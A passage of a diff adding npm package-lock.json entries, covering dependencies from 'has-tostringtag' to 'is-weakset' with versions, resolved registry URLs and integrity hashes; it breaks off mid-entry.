"sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==" + }, + "has-tostringtag": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "requires": { + "has-symbols": "^1.0.2" + } + }, + "hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "requires": { + "function-bind": "^1.1.2" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "hoopy": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/hoopy/-/hoopy-0.1.4.tgz", + "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ==" + }, + "hpack.js": { + "version": "2.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "requires": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "readable-stream": { + "version": "2.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "html-encoding-sniffer": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", + "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", + "requires": { + "whatwg-encoding": "^1.0.5" + } + }, + "html-entities": { + "version": "2.3.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-entities/-/html-entities-2.3.6.tgz", + "integrity": "sha512-9o0+dcpIw2/HxkNuYKxSJUF/MMRZQECK4GnF+oQOmJ83yCVHTWgCH5aOXxK5bozNRmM8wtgryjHD3uloPBDEGw==" + }, + "html-escaper": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==" + }, + "html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "requires": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + } + }, + "html-webpack-plugin": { + "version": "5.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/html-webpack-plugin/-/html-webpack-plugin-5.5.3.tgz", + "integrity": "sha512-6YrDKTuqaP/TquFH7h4srYWsZx+x6k6+FbsTm0ziCwGHDP78Unr1r9F/H4+sGmMbX08GQcJ+K64x55b+7VM/jg==", + "requires": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + } + }, + "htmlparser2": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "http-deceiver": { + "version": "1.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==" + }, + "http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "requires": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + } + }, + "http-parser-js": { + "version": "0.5.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "requires": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + } + }, + "http-proxy-middleware": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz", + "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==", + "requires": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + } + }, + "https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "requires": { + "agent-base": "6", + "debug": "4" + } + }, + "human-signals": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==" + }, + "iconv-lite": { + "version": "0.6.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, + "icss-utils": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "requires": {} + }, + "idb": { + "version": "7.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/idb/-/idb-7.1.1.tgz", + "integrity": "sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==" + }, + "identity-obj-proxy": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz", + "integrity": "sha512-00n6YnVHKrinT9t0d9+5yZC6UBNJANpYEQvL2LlX6Ab9lnmxzIRcEmTPuyGScvl1+jKuCICX1Z0Ab1pPKKdikA==", + "requires": { + "harmony-reflect": "^1.4.6" + } + }, + "ignore": { + "version": "5.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==" + }, + "immer": { + "version": "9.0.21", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/immer/-/immer-9.0.21.tgz", + "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==" + }, + "import-fresh": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "requires": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "dependencies": { + "resolve-from": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==" + } + } + }, + "import-local": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/import-local/-/import-local-3.1.0.tgz", + "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==", + "requires": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + } + }, + "imurmurhash": { + "version": "0.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==" + }, + "indent-string": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==" + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "ini": { + "version": "1.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "internal-slot": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/internal-slot/-/internal-slot-1.0.5.tgz", + "integrity": "sha512-Y+R5hJrzs52QCG2laLn4udYVnxsfny9CpOhNhUvk/SSSVyF6T27FzRbF0sroPidSu3X8oEAkOn2K804mjpt6UQ==", + "requires": { + "get-intrinsic": "^1.2.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + } + }, + "ipaddr.js": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==" + }, + "is-arguments": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-array-buffer": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-array-buffer/-/is-array-buffer-3.0.2.tgz", + "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==", + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "is-typed-array": "^1.1.10" + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "is-bigint": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "requires": { + "has-bigints": "^1.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-boolean-object": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-callable": { + "version": "1.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==" + }, + "is-core-module": { + "version": "2.12.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-core-module/-/is-core-module-2.12.1.tgz", + "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==", + "requires": { + "has": "^1.0.3" + } + }, + "is-date-object": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-docker": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==" + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==" + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" + }, + "is-generator-fn": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==" + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-map": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==" + }, + "is-module": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==" + }, + "is-negative-zero": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==" + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + }, + "is-number-object": { + "version": "1.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-obj": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==" + }, + "is-path-inside": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==" + }, + "is-plain-obj": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==" + }, + "is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==" + }, + "is-regex": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-regexp": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==" + }, + "is-root": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==" + }, + "is-set": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==" + }, + "is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "requires": { + "call-bind": "^1.0.2" + } + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==" + }, + "is-string": { + "version": "1.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-symbol": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "requires": { + "has-symbols": "^1.0.2" + } + }, + "is-typed-array": { + "version": "1.1.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-typed-array/-/is-typed-array-1.1.10.tgz", + "integrity": "sha512-PJqgEHiWZvMpaFZ3uTc8kHPM4+4ADTlDniuQL7cU/UDA0Ql7F70yGfHph3cLNe+c9toaigv+DFzTJKhc2CtO6A==", + "requires": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + } + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "is-weakmap": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==" + }, + "is-weakref": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "requires": { + "call-bind": "^1.0.2" + } + }, + "is-weakset": { + "version": 